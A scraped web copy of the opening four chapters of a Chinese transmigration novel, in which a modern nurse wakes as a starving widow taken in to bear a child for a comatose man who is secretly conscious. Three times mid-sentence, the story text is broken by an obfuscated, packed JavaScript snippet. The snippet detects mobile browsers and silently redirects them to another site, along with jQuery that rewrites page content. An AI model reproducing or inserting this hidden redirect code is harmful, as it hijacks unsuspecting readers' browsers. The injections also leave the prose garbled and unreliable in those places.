《穿越成给植物人冲喜的寡妇》 1. 第 1 章 “整日不是哭就是吃,半点活都指望不上你们俩。” “你们娘洗个衣服都能差点把自己溺水里了,这般没用,老婆子我是真后悔让你们留下来。” 年迈的声音从院子外传入了昏暗逼仄的茅草里。 茅草屋窄小,除了寻常的农具,地上铺了一层厚实的稻草,稻草上铺着一张席子。而席上躺着一个二十出头的妇人。 妇人面黄肌瘦,两眼空洞无神,好似听不见外边数落的声音一般。 陆鸢就这样不吃不喝的躺了两天,几乎已经感觉不到饥饿似的,睁大双眼瞪着上边的茅草屋顶。 她怎么都想不明白,她就是为了躲避横冲直撞的电动车摔了一跤,最多就是磕破点皮,可怎就穿越了? 陆鸢两天前醒过来时,全身湿透,没有半点力气,还断断续续地发起了低烧。 短暂清醒时,她看到一个头发花白老婆子给她换衣裳,嘴里还不停的念叨着,像是在骂人,但好像又是在数落。 陆鸢以为是自己发烧出现的错觉,但逐渐清醒后,才发现是现实。 这两天,她的脑海里断断续续多了一些不属于自己的记忆。 她穿越了,穿成了别人。 穿成了一个没了丈夫,带着两个孩子逃荒的年轻寡妇。 在寡妇的记忆中,家乡干旱,两个村子因为抢水源而大打出手,她的丈夫不慎被打死了。 她因生的是两个闺女,又是个孤女,所以丈夫才死没多久,就被家里的叔伯吃了绝户,母女三人也被赶了出来。 时逢干旱,寡妇活不下去了,这才带着孩子们逃荒。 半个月前,寡妇带着两个孩子逃荒到了围山村,险些饿死时,被一个老婆子救了。 外头不停数落的老婆子,就是救娘仨的人。 老婆子姓何,别人都喊她何老婆子。 这大家伙的日子都不好过,何老婆子也不会平白好心肠捡几张嘴回来,她的收留自然是别有用心。 何老婆子有个相依为命的孙子,但前不久发生意外昏迷不醒,成了活死人。 大概是从大夫口中知道自个孙子还能传宗接代,所以才收留的娘仨,想让寡妇给自己孙子生个孩子来延续香火。 这传宗接代得男女配合,可男人是个活死人,还得女人主动,好人家的黄花大闺女肯定是不愿意的。 黄花大闺女不愿意,且也没有经验,还得是生过孩子的寡妇有经验,也更放得开。 这不,何老婆子在看到带着孩子逃荒的寡妇时,心里就有了人选。 何老婆子要个人传宗接代,寡妇需得有个落脚的地方,这两人几乎是一拍即合了。 陆鸢心说她们是一拍即合了,可她不愿呀。 再说寡妇是有经验,可她也没有呀! 一没生孩子的经验,二也没有睡男人的经验,还是睡一个昏迷不醒的男人。 外头忽然传来孩童的哭喊声,还不停的叫喊着“娘”。 约莫是原主留下了紧张孩子的意识,陆鸢几乎是条件反射,蓦地坐了起来。 坐起后,她愣了一下,随即捂住了双眼。 这都叫什么事呀。 是不是老天爷可怜这祖孙两人,就在现代的护理行业里随便抓了个人,让其穿越到这个世界,照顾昏迷不醒的孙子? 而在医院当护士的她,就成了这个倒霉悲催的? 不然她生活一切都好,也不是什么无父无母的孤儿,怎可能这般凑巧就是她给穿过来了? 陆鸢在各种怀疑时,茅草屋的竹门忽然被推开了,她朝着门口看了过去。 门口站一个小小的身影,逆着光,一时看不清楚脸。 小孩端着一碗水慢慢走到陆鸢跟前,声音稚嫩:“娘,喝水。” 哪怕被叫了两天娘,陆鸢也无从适应,她征了一会儿,才双手僵硬地接过了豁了个口子的碗。 喝了水,润了喉,陆鸢也转头看向跟前的小孩。 是个小女孩,看着才三四岁的,但实则五岁了。 这是寡妇的大闺女,春花。 春花的头发枯黄,只稀稀落落的用两条布条绑着两个小揪揪。 在这酷热的秋天,脸颊和嘴唇都有些皲皮。 再说孩子身上的衣服,不仅手脚都短了一截,且满是补丁,袖口和领口都已经磨损严重。 孩子脚上穿的是一双粗糙的草鞋,露出了脚指甲缝里都是泥的脚丫子。 陆鸢正想把碗里的水喝完,半敞的竹门蓦地被人推得更开。 一个五六十年纪的老太太出现在了门口,张口就道:“都歇了两天了,还盼着我这个老婆子照顾你们娘仨不成?!” “赶紧起来去做饭!” 这老太太就是收留寡妇的何老婆子。 何老婆子满脸褶子,梳着个一丝不苟的发髻,穿着整洁,身上的衣裳只有两三处补丁。 何老婆子看着慈眉善目,但语气和态度却是一点都不和蔼。 何老婆子把一个小东西也塞到了陆鸢的怀里,把陆鸢吓了一跳。 定眼一看,不是小东西,是个更小的小孩。 何老婆子把孩子塞给她后,就转身出去了。 四眼相对,喜当娘的陆鸢:…… 这小孩比春花更营养不良。 好像已经两岁了,但看着却好像还没满一岁呢。 瘦得皮包骨,显得眼睛大得离谱。 刚哭过,眼睛都是红通通的,眼角都还挂着眼泪,巴巴望着她。 这是寡妇的小闺女,秋花。 小秋花嘴巴一张,口齿不清的喊:“娘,饿、饿。” 说到饿,饿了两天的陆鸢,饥饿感顿时涌上,只觉头昏眼花。明明是秋暑季节,却饿得浑身发冷。 不想死的话,也就不能这么躺下去了。 陆鸢把孩子放到席子上边,扶着木柱子站了起来,朝屋外走了出去。 屋外的光线很刺眼,她抬手遮住强烈的日头,缓和了一会,视野才逐渐清晰。 映入眼帘的是围着篱笆的小院,两间并排的破旧茅草屋。墙壁斑驳,像是用力踹一脚,都能把墙壁给踹倒了。 除了两间并排的屋子,院子里还有三间错落的小茅草屋。 一间是陆鸢刚才出来的茅草屋,也是杂物房。 另外则是一间厨房,一间茅房。 院中围了一处菜地,两只母鸡在院子里啄着地面。远处是纵横稻野的阡陌,再远则是望不尽的青山。 陆鸢失神了一会,又听到何老婆子不善的声音。 “还不赶紧去做饭,愣着作甚?!” 陆鸢收回目光,左右看了眼,朝着厨房走了过去。 厨房简单,一角柴火,一角灶台。 灶台上有个风炉,正在熬着飘着米香的米汤。 陆鸢目光一转,发现灶台上有着半碗黄黄的面。 她捻了一点在指腹,放到了鼻尖闻了闻。 这哪里是面,分明是米糠。 仔细想想,先前寡妇连树根都挖来吃了,现在有米糠能吃,也已经很好了。 墙上挂了个篮子,里边还有一把野菜,是马齿苋。 陆鸢掀开瓦陶锅盖,看到浓稠的米汤,不禁地咽了咽口水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478987|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>哪怕她时下腹中已经饥肠辘辘,也不敢动这米汤。 这米汤就是何老婆子都不吃,而是给昏迷不醒的人准备的。 这年代可没什么营养液,植物人不吃东西,肯定活不了。 陆鸢转头看向外头,何老婆子不知什么时候搬了张杌子在厨房门口,就坐在那做针线活。 难怪何老婆子要坐在厨房门口做针线活,原来是防着她偷吃。 这浓稠的米汤,是何老婆子孙子的两顿,偶尔秋花实在吃不下东西,蔫蔫的时候,才被允许吃两口。 忍住了想要喝一口的冲动,陆鸢把盖子盖了回去,遂把注意力放回做饭上。 米糠口感硬实,得煮软了才能做饼子。 她往锅中加了小半碗的水,再把米糠都倒了进去煮。 接着就是生火的问题了。 好在风炉还有些未灭的碳,她引火至灶眼,没一会就燃了起来。 煮米糠时,陆鸢瞅了眼厨房门口的老太太。 何老婆子究竟是个什么样的人? 就着寡妇的记忆和她对老太太的印象,不大好评。 收留娘仨是善事,可目的又不纯。 目的虽不纯,但也没逼着他们留下来,想走都是可以走的,只是寡妇带着两个孩子,还能走到哪里去? 寡妇和两个孩子是被赶出来的,没有过所。 过所相当于是通行证。 没有过所,基本上算是黑户了,只能东躲西藏。 在寡妇的记忆中,她还是带着孩子偷摸躲在船舱中,才到的岭南苍梧县。 因为身无分文,住在破庙,还差点被老乞丐欺负了。 古代法制不健全,凶险无比。 陆鸢觉得自己未必会比寡妇勇敢,能苟活这么久。更别说在身无分文的情况下,很难闯出什么天地。 她现在都还是懵懵然的,还是先踏实点,也别急着着老婆子翻脸,得让她先缓缓。 火慢慢地大了起来,陆鸢也就收起心思做饭。 往灶眼添了一把柴火,她把挂墙上的马齿苋拿下,用水洗干净,掐了比较嫩的位置,切碎。 熬好软化的米糠,盛到了碗里,等温度适宜后,才把野菜倒了进去搅拌。 四处找了找,却没发现任何调味的配料。 一想,就记起来少量的盐巴和丁点菜籽油都被何老婆子藏起来了,几天才能用一回。 这会没拿出来,就是不给用。 陆鸢一叹。 这都是什么苦日子。 她饥饿得紧,也没有空闲自艾自怜,还是赶紧把饭做好。 陆鸢把米糠和野菜搅拌好了,就给揉成圆饼放进热锅里头煎。 没有油,煎的饼子不尽如人意,有些黏锅,也有些焦黑。 但不管怎么说,还是能吃的。 闻着淡淡的掺杂着焦味的米糠香味,陆鸢更饿了。 煎出来的饼有七个,大概小孩巴掌大。 把饼夹到碗中,再烧水煮马齿苋汤。 没一会儿就煮好了,盛到碗中,逐一端到外头的桌子上。 何老婆子看到野菜汤,脸色顿时黑了,骂道:“把野菜都吃了,晚上吃什么?!再说这柴火不用捡呀?又费菜又费柴,那经得住你这样嚯嚯!” 陆鸢默默听着,也没应声。 她转头看向杂物房,就见两个孩子就站在门口外头,眼巴巴地望着桌上的吃食,眼里都是对食物的渴望。 陆鸢心底顿时又酸又涩,也有对未来的不确定。 她真的能在这个吃不饱穿不暖,处处凶险且等级森严的古代活下来吗? 2. 第 2 章 陆鸢只丧一小会,就收起了负面的情绪,朝着两个陌生的孩子喊:“过来吃饭了。” 有娘的准话,春花这才牵着脚步踉跄的妹妹走过来。 几个人坐下后,何老婆子开始分野菜饼。两个孩子都只得了半块饼。而陆鸢只得一块。 何老婆子自个也是一块,碗里还剩下四个,她拿进了屋子里头。 陆鸢:…… 低头看向手中不大饼子,这都不够填饱肚子的, 早知道就做大一点了,下次再做饼子,她就有经验了。 她咬了一口饼子。饼子干得噎嗓子,只能泡一会野菜汤吃下去了,两个孩子也学着她,泡一会才吃。 吃了一个饼子,又灌了大半碗的没油没盐,泛着苦涩味道的野菜汤,这才勉强四分饱,身体也逐渐恢复了温度。 何老婆子也啃完了一个饼,看向她:“既然吃饱了,就赶紧去给阿晟喂粥。” 这个阿晟,就是何老婆子的孙子,寡妇只知道他叫齐晟,以前是半个猎户,家里大部分钱财都是来自他打猎补贴的。 这齐晟一倒下,家里也只剩下一个何老婆子。 穿越前陆鸢要照看许许多多病患就算了,可凭什么穿越后,还得照顾病患? 凭啥? 难道就凭她是天生劳碌命? 一开始,陆鸢心里是拒绝的,但想到吃的住的都是何老婆子的,也就只能是听从了。 何老婆子倒了小半碗浓稠的粥汤,递给她的同时,也警告道:“我看着的,你可别偷吃了。” 陆鸢心忖她还没馋到和植物人抢吃的地步。 她还是点了点头,在何老婆子犀利的目光下,顶着压力推开了挂名丈夫的屋子。 屋子里有一股药味,一开门就扑面而来。 寡妇之前就给男人喂过几回汤药和流食,或许心里抗拒给活死人当媳妇,也就没仔细打量过男人的样貌,所以记忆力,也只是模糊的轮廓。 除了不清晰的样貌,还有就是男人的名字。 记忆里,寡妇听何老婆子说过,似乎是叫祁晟。 她走到了床边,低头看向了床上的人。 待看清男人长相时,愣了愣。 她以为这昏迷不醒的男人,肯定是形容枯槁,骨瘦如柴。但出乎意料的,男人除了有几分削瘦,就好像是刚昏迷不久的人,而且长相也是十分出色。 上庭饱满,虽双目紧闭,但眼窝深邃,鼻梁高挺,面部轮廓流畅分明。是个样貌十分出众的成年男子。 便是躺着,也能瞧出他身形高大,以前是个宽肩窄腰的。 这长相丝毫不像是山野村夫。 可就算长相再英俊又能顶什么用? 还不是躺在这床上,也不知什么时候能醒来。 陆鸢观察了一下,拿过床上的薄被,简单叠成枕头,把男人的头抱起,正准备把叠成枕头的被子放置脑后,在窗口外盯着的何老婆子忽然急道:“你干什么?!” 陆鸢解释:“垫高一点,米汤才好流入喉咙,不至于呛到。” 何老婆子眉头皱了起来:“那之前你怎么不是这么喂?” 陆鸢心说之前也不是我来喂呀。 她应:“之前没想到。” 说着,她拿起了碗,捏着男人的下颚,缓缓喂进流食。 何老婆子眼底闪过些许疑惑,这之前也没见寡妇喂得这么仔细,这两天咋就这么细心了? 陆鸢边给男人喂着流食,边观察着男人的情况。 这人面色还算红润,肌肉弹性很好,还没有萎缩,而脸上的擦伤还有未消的痕迹,昏迷的时间,应该不超过三个月。 不过再不醒,过一段时间,这肌肉肯定会萎缩,平时得给腿脚做推拿才行。 只是她才来没多久,就是寡妇也只仅在这个家里生活半个月。对于这祁家的记忆少之又少,什么情况都不清楚,她还是先静观其变,不要提太多建议,不然累的也是她自己。 小半碗浓稠的粥汤,陆鸢喂了小半个时辰。 喂完后,职业本能地给男人擦了擦嘴角,整理了一下衣领。 看着寡妇细心的举动,何老婆子微微蹙眉,眼中有几丝不解。 寡妇今天又是给阿晟垫高脑袋,又是耐心地喂了小半个时辰,更是细心的擦嘴,一点也不像之前那样。 前些天,寡妇给阿晟喂药喂流食那会,一眼都不敢多瞧,喂一刻就匆匆喂好了,更别说有什么贴心的举动了。 难不成是想开了,打算安心地留下来给阿晟当媳妇了? 陆鸢端着碗出了屋子,就见何老婆子一脸探究地打量着自己,打量得让她心里发毛。 陆鸢只觉得被盯得莫名,赶紧去洗碗了。 桌面上的碗筷,是春花收拾的,也洗干净了。 用何老婆子的话说,他们家不留吃干饭的,两个小的也得帮忙干活。 大的洗碗,小的去挖虫子给鸡吃。 两个孩子这会正在篱笆外头翻石头,在抓蚯蚓喂鸡。 孩子胆大,但陆鸢却是怕那软不拉叽的软体爬行虫子,她宁愿去照顾植物人,也不愿意去挖什么虫子。 何老婆子收回了打量的目光,坐回杌子上,拿起针线继续做着刺绣,朝着陆鸢说:“水缸里没什么水,去把水打回来。” 不停被安排活计的陆鸢:…… 这是不打算让她停下来了? 她转头看向何老婆子。 何老婆子还在眯着眼绣着上午的那条帕子。 大抵是年纪大了,精力跟不上,眼睛也不好使,所以一方帕子都绣得很慢,两天才绣好一方帕子。 陆鸢刚刚观察过何老婆子绣的帕子,绣样精细漂亮,绣工也了得。 只是,让她感惊讶的是,农村妇人会有这么精巧的手艺? 她转念琢磨了一下自己身处的地方是岭南。而岭南在古代可是流放之地,不少犯了事的达官贵人,只要没被判死,大部分都会被流放至岭南。 再结合了一下屋子里男人的长相,常年受网络小说浸淫的陆鸢,猜测这组孙俩的身份不简单,没准这家人还真是罪臣之后。 想到这,陆鸢觉得自己的想法跑偏了,立马晃了晃脑袋。 是不是罪臣之后没那么重要,现在吃饱穿暖才是最重要的。 陆鸢把这家里边唯一的一个桶拿上,出了院子。 这家里,一个活死人,一个五六十的何老婆子,还有两个加起来才七岁的孩子,根本就指望不上他们能去河里提水回来。 合着她这穿越过来,是做保姆,也是做苦力来的。 做保姆做苦力就算了,钱没有,还得给植物人做媳妇。做媳妇就算了,后边还要和植物人发生关系,这可是道德上的问题。 一想到要强上植物人,只是想想,陆鸢都觉得自己是个变态。 她不禁打了个哆嗦,脚步加快地往河边而去。 两个孩子也踉踉跄跄地跟在身后。 小河离祁家差不多一里地,有一小段距离。快走到河边时,春花声音有些发抖的喊:“娘,你小心点。” 陆鸢听到声音,回头看了她们姐妹一眼。 除了懵懵懂懂的秋花外,春花满脸的担忧,害怕。 大概是前些天,她们娘差点淹死的事,把她们给吓到了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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拿起火镰,学着中午何老婆子生火的架势,试了几次之后,这火可算是生起来了。 这水烧了好一会,外头忽然传来男人的声音。 “何老婆子。” 陆鸢往外看了眼,是个三四十岁的中年男人。 这个中年男人,昨天她就见过了,是来给祁晟换衣服擦澡的。 在知道有这么个人的时候,陆鸢还真的松了一口气,好歹不用她上手。 她也没让何老婆子喊,直接舀了一盆热水,兑了凉水端到屋子里头,然后就立马出来了,生怕喊上她一块帮忙翻身。 回到厨房,她又往锅里添了凉水。 穿到这个世界的这两天都是浑浑噩噩的,分不清是现实还是在做梦,也就没有洗漱。 现在缓过劲来,肯定得认真洗洗。 她刚闻了身上,已经有点味道了,不浓,但也让她受不了。 过了大概小半个时辰,那中年男人从祁晟的屋子里出来了。 他到了何老婆子面前,说:“何老婆子,我以后估计来不了了。” 声音传到了厨房里来,陆鸢手里的树枝一松,直接落到了地上。 心里隐隐有了不好的感觉。 外头的何老婆子皱了眉头:“嫌我一个月给四十文钱给得少了?” 中年男人连忙摇头:“不是不是,是我侄子在县城里给我找了份活,你也知道我家里的情况,我实在是没法子了。” “再说了,你不是给阿晟找了个媳妇么。让他媳妇来做这些事情,还能省几个钱给阿晟买几帖药呢。” 听到这话的陆鸢:…… 这钱,大可不必省下来! 3. 第 3 章 何老婆子听了中年男人的话,沉思片刻,说:“我知道了,既然你都已经决定了,还与我这老婆子说这么多干什么。” 男人讪讪,拿出一小串铜板递给何老婆子,道:“阿晟到底帮过我,这是半个月的月钱,我退回来给阿晟买点骨头炖粥喝,也好补补身体。” 何老婆子沉默了几息,也不说客气话,厚着脸皮拿了回来:“这可是你自己给退回来的,可别到时候你媳妇闹到我这,说要讨回去,我可是不还的。” 中年男人咳了几声,压低声音道:“这事我媳妇不知道,何老婆子你也别往外说。” 何老婆子嗤了一声:“晓得了,等晟哥儿醒了,再给你还回去就是了。” 中年男人闻言,默默地看了眼屋子。 这都昏睡两个多月了,家底都被折腾光了,还能不能醒得过来还另说呢,这钱他也就当是报答以前祁晟的帮助。 中年男人留下一句“有事就去找他帮忙”后,就走了。 男人走后,何老婆子也出了趟门。 约莫小半个时辰后才回来。回来时,手上拿着两颗营养不良,就与成年人的拳头一般大的菘菜。 晚上吃的是菘菜汤,还有中午剩下的四个饼子。 两个孩子依旧分了半个,而陆鸢分了一个半,配上菘菜汤,就算没滋没味,也吃上了个七分饱。 饱了腹,陆鸢的脑子清醒了些,也就有了心情观察周围的人和事。 看了眼两个脏兮兮的小孩。 自从他们的娘溺水后,她们俩就没洗过澡了,身上的衣服也没换过,近一点都能闻到酸臭味。 晚上还得和她们睡到一块呢,这味时不时飘来,都不用睡了。 除了她,这两个孩子肯定也得洗洗。 陆鸢兑了一盆温水在厨房里,朝着两个女娃娃招了手。 她和春花说:“去把你妹妹的衣服拿过来,我、娘给她洗澡。” 一时还没适应喜当娘,这声娘的自称,还真烫嘴。 再说那秋花瘦小得跟一岁小童似的,也不指望能自己洗,只得她来洗了。 春花应了声“好勒”就趿着草鞋哒哒哒跑去杂物房。 秋花呆呆的一小只,也不闹腾,陆鸢给她脱衣服时,也乖乖地配合伸手抬脚。 脱下小姑娘的衣服,看到衣服下的瘦弱身板,陆鸢倒抽了一口气。 小姑娘瘦得皮包骨,瘦得肋骨突出,小小的一个,感觉一摔倒就会摔骨折了。 原本被各种负面情绪包围着,也没心情同情别人的的陆鸢,也不由地生出了些许心软。 她呼了一口浊气,把小姑娘抱起,正准备放盆里。但一抱起来,才发现轻飘飘的,好似一点重量都没有。 把孩子放到了盆里,然后用皂角给她搓洗枯黄稀少的头发。 亏得现在穿越小说泛滥,短视频科普,所以一些穿越小知识,陆鸢也是了解的。 像这种皂角,虽然现实中没见过,但小说和短视频里边也见过不少。 给秋花搓洗完了半盆水,水都浑浊了。只得把水倒了,又重新兑了半盆温水清洗。 秋花太瘦太小一只了,陆鸢洗得小心翼翼的,也不敢用太大力气,生怕用力就会伤到她。 洗干净后,小姑娘总算没有那么砢碜了。 干干净净的,清爽了不少。 春花也把秋花的衣服拿了过来,是成人旧衣裁剪下来做的衣裳。 母女三人现在就只有两身换洗的衣服。 先前有一身破到已经不能再补了,还是何老婆子看不过去,拿了两身不知是谁的旧衣服,给她们改来穿。 陆鸢让秋花坐在何老婆子做针线活的杌子上晾头发,然后又兑了水,让春花自个去洗澡。 孩子洗完,也轮到陆鸢了。 祁家也没洗澡的地方,就是茅房也简陋,所以何老婆子都是在自己的屋子里擦洗。 陆鸢提了水回杂物房,在里边洗。 她把衣裳脱下,低头看向这身体。比起两个孩子的营养不良,她也差不多。 逃荒的日子太苦了,也难怪会答应做活死人的媳妇。 洗完头,又洗了澡,出来后就和俩孩子在院子里吹风,晾头发。 在入夜前,陆鸢在杂物房熏了艾草驱蚊虫,屋子都是烟,呛得很,得散散才能进去。 入了夜,杂物房黑漆漆的,什么都看不见。何老婆子自个都不舍得用油灯,更是不可能给陆鸢用的。 陆鸢躺在稻草堆成的草垫上,望着黑漆漆的上方,脑海里全是乱七八糟的想法。 又想起下午听到让她去照顾祁晟的话,就更让她睡不着了。 这当初何老婆子收留娘仨的时候,就已经把话说得很明白了。 母女三人都可以留下来,饿不死,还有一屋遮风挡雨,但前提是嫁给她那昏迷不醒的孙子。 等寡妇调养好身体,也就是两个月后,得和她孙子圆房,生下一个孩子,不论男女都成。 现在离两个月,已经过去半个月了。 原身是个农妇,什么谋生的技能都没有,逃荒时险些被流脓的乞丐玷污了,所以迫切想要个遮风挡雨的地方,也就同意下来了。 这照顾人,她还是勉强能接受的。但是要她和一个植物人发生关系,这和强/奸也没啥区别。 且还挺变态的,这让她怎么接受得了? 可她现在还不能直接找何老婆子说不愿意。 她必须得有安身立命的钱财才有谈判的资格,就算是被赶出去了,也不至于两眼抓瞎。 可怎么挣钱? 原身不会像何老婆子那样做刺绣,她就更不会了。 就算她从短视频学了一些穿越生存小技巧,可也得有本钱才行。 时下最要紧的,是得有钱。 陆鸢想到了四面环山的山,山里遍地宝贝,她是不是能进山捡点东西去卖? 但转念一想,山里虽然遍地宝贝,但也遍地危险。 就好比屋子里头躺着的男人,好像也是因为进山打猎才成了现在这般光景。 陆鸢心里进山的念头一直犹豫不决。 脑子里依旧都是乱糟糟的想法,还是没有半点睡意。 秋夜寒凉,窗户上的草帘掀开了一角,有凉风灌入,冷得身边两个孩子一直往她贴近。 陆鸢不太习惯别人睡觉离得自己这么近,便起来把帘子放下。 站在窄窗后,正要把草帘放下,却不经意看到正房屋子有亮光。 是祁晟的屋子。 应该是何老婆子在屋子里头和孙子说话。 陆鸢瞅了一眼,就收回目光,弄好草帘就回去躺着了。 * 何老婆子看着昏睡的孙子,不知不觉又红了眼。 “晟哥儿,大夫说了,你现在虽然成了这样,但短时间内,还是可以要孩子的。” “奶奶不知道你什么时候能醒,也不敢赌,你是祁家最后一个独苗了,为了祁家不绝后,所以自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478989|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作主张给你找了个媳妇,你会不会怪奶奶?” 躺在床上的男人,双目紧闭,给不了老太太任何反应。 没有人打断,何老太太不自觉地絮絮叨叨了起来。 “若非你现在成了现在这般模样,那寡妇定然是配不上你的,可如今祖母也是没法子。” “为了医治你,这些年攒下来的家底都已经花没了,祖母只能做些帕子来换钱来过日子,也实在是没法子再给你娶个好一点的媳妇了。” “虽然那寡妇是丑了些,可好歹还年轻,也生养过两个孩子,这身体肯定是没有问题的。再说她有经验,知道该怎么圆房,我也不用担心不成事。” “至于以后孩子的样貌,你也不用太担心。你长得好,生出来的孩子不会全随了他娘,肯定也会有几分像你。就算只有几分,也能是个清清秀秀的孩子。” “要是生了个男娃,自然是好。要是生了个女娃,那也没法子了,只能等她长大后,招婿入赘。” “至于那个寡妇,等她生了孩子后,想留就留。但若是留下来,那两个孩子必须得改姓祁。只要祁家人多了,准能慢慢兴旺起来。” 何老婆子看了眼床上的孙子,轻叹了一声:“要是那时,晟哥儿你能亲眼见到祁家兴旺起来,那便好了。” 何老婆子絮叨了许久,直至口干舌燥才停了下来,起身喝了水,也给孙子喂了些许。 给孙子掖了被子,何老婆子拿起烛灯出了屋子,留下一室昏暗。 万籁俱寂,周遭虫鸣蛙叫似乎都没有传进屋内,没有任何声音,没有任何光亮,黑暗得好似一片虚无。 这便是祁晟的世界。 没人知道,昏迷不醒的祁晟,还留有意识。 活死人一般,动不了,说不了话,便是想自戕,也是一件不可能完成的事。 他能感知冷暖,感知饥饿,感知到有人耳边说话。 可离得远了,便又听不见了,只能听见床边的声音。 这日子没意思极了,既绝望又看不到头。 他也有昏睡的时候,每每昏睡前,他总盼着意识就此消散。 但每每都能从昏睡中恢复意识,希望也随之落空。 要说最遗憾的事,也并非没有。 一则是没能让祖母享晚福的福,反而让她操心。 甚至还有可能让她白发人送黑发人,心中酸涩至极。 二则是作为祁家最后一个后人,他让祁家绝了后,对不起祁家的列祖列宗。 只是,方才他听到了什么? 祖母说他还能要孩子? 怎么要?! 接着,祁晟就知道他祖母的意思了。 祖母说给他讨了个媳妇。 一个寡妇,还是长得丑的寡妇,要给他做媳妇?还是做他孩子的娘? 祁晟一时有些没反应过来。 他知道家里来了个带着孩子逃荒的寡妇,也知晓平日里也曾照顾过他。 他一开始只当是祖母年纪大了,想找个人照顾他,却没往媳妇那方面想。 这生孩子,祁晟也没傻到认为平白无故躺在一块就生了。 这得男女|交|合才能生,可他一个活死人,动都动不了,怎么交|合? 用脑子想都知道是寡妇主动爬上来。 想象到一个貌丑的寡妇爬到自己身上的画面,祁晟只觉得头皮发麻,浑身不适。 就算为了留下子嗣,这也大可不必,还是让他对不起列祖列宗吧! 4. 第 4 章 齐晟一宿都在想着寡妇与自己的事,也不知外头是何时日月交替的。 只隐约听到他祖母的声音,就知道是天亮了。 他听得不真切,猜测祖母是在喊寡妇给他洗漱喂朝食。 不多时,齐晟便感觉到有一双粗糙的手抬起了他的头,往他脑袋后垫了被子。 应该是家里的那个寡妇。 寡妇仔细地给他擦了脸和手,动作细致,与之前敷衍了事完全不一样。 这态度前后不一样,莫不是已经想通,真要和他这个活死人做夫妻了? 齐晟心底怅然。 他不想临了快死了,一世清白和英名都保不住。 陆鸢喂过男人,给他擦了擦嘴角,随即端着碗出了屋子。 出了院子外,她目光不由自主地又被远处的青山吸引了注意力。 看着看着,心里就只剩下一个想法。 ——必须进山。 要是遇上危险不幸死了,说不定还能回去。要是幸运没死成,那就继续好好活着。 打铁要趁热,陆鸢趁着自己的意志力正坚定,朝着檐下做针线活的老太太喊了一声:“老太太,我想进山拾点柴火,再看看有什么可挖的野菜。” 老太太针线一顿,抬起眼瞅了她一眼,然后也不应,低下视线继续做帕子。 陆鸢不是她腹中蛔虫,也不知何老婆子是什么意思。不管如何,得活下去,也得进山。 陆鸢想起杂物房有背篓。 她去背上背篓,再到厨房把柴刀拿了出来。 陆鸢背着背篓正要出门,老太太忽朝着她的背影喊了一声:“等会儿。” 陆鸢闻声,停下步子转身。 这才一转身,就看到有个不明物体朝着自己砸了过来,也没瞧清是什么,她忙不迭地接入手中。 接到手里,她摊开手心一看,只见是一个褪色的藏青色香囊,香囊上还绣着一个“晟”字。 应是男人的旧物。 陆鸢不解地看向老太太。 老太太给她这个香囊做什么? 何老婆子冷哼一声:“山上蛇虫鼠疫最多,你也不怕被咬了?” 陆鸢明白了,这是驱虫驱蛇的药包。 她放到鼻子下边闻了闻,确实还散着淡淡的药材味。 只是何老婆子的行为分明是好心,可说出来的话却难听。 这老太太,脾气还真是一时一个样。 陆鸢把香囊挂到了腰带上,说:“那我去了。” 她转身出了院子,在篱笆院外挖蚯蚓的春花见她要出门,立马跑了过来,扯住她的衣服。 仰着头,眼巴巴地看着她:“娘要去哪?” 陆鸢应道:“去山里拾些柴火。” 春花小心翼翼的问:“那春花可不可以也跟着去?” 陆鸢听得出来小姑娘话里没有安全感,好似怕她会扔下她们,自己跑了。 她仔细回想了一下,寡妇确实扔过她们一回。把她们扔在了姑子庙外,自己走了,但没忍住,一个时辰后又跑回去找了。 可不管怎么说,哪怕被抛弃的时间不长,但也确实是被抛弃过,没有安全感也是正常的。 陆鸢只得耐下性子解释:“山里危险,我顾不了你,你在家照顾你妹妹,帮何奶奶做点活,晌午我就回来。” 春花犹豫了一会,还是松开了手:“那我和妹妹在家里等娘回来。” 陆鸢点了头,朝着山的方向走去,身后两个孩子也一直看着她远去。 陆鸢穿过田间小道,走了许久,才走到最近的山脚下。 看着野草丛生的山林,目光往深处望去,树荫遮蔽日头,幽深静谧。 这古代的山林比不得现代安全,猛兽的栖息地没有被过度开发,山中又人迹罕见,定然还有很多危险的飞禽走兽。 陆鸢却步,生出了几分要掉头回去的想法。 可一想到不进山,天天吃糟糠野菜,还吃不饱,掉头回去的想法就淡了许多? 还有,现已入秋,娘仨没有冬衣,冬被可御寒,肯定活不过冬天。 齐家现在只靠着何老婆子做绣活维持生活,穷到连饭快都吃不起了,定然没法给娘仨准备冬衣,冬被。 这入冬后,不想被冻死,只能是自己想办法。 如今身无分文,就是创业也得手里有货才行。 这想要手里有货,少不得上山下水。 陆鸢说服了自己。 她捡了根棍子,一边敲打着杂草,一边缓步前行。 她在山外围砍了枯树树枝,捆起来放做堆,用草绳绑起。 为了方便带下山,柴火也没多大一捆,也够用五六天的了。 把柴火放到显眼的地方,歇了一会后,她开始找野菜,找山货。 古代山里都是宝,仔细点找,总能采到点野果野菜。 找了一圈,陆鸢挖到了一些自己认识的野菜。 分别是野荠菜和马齿苋。还有以前扫墓时经常见到的高粱泡。 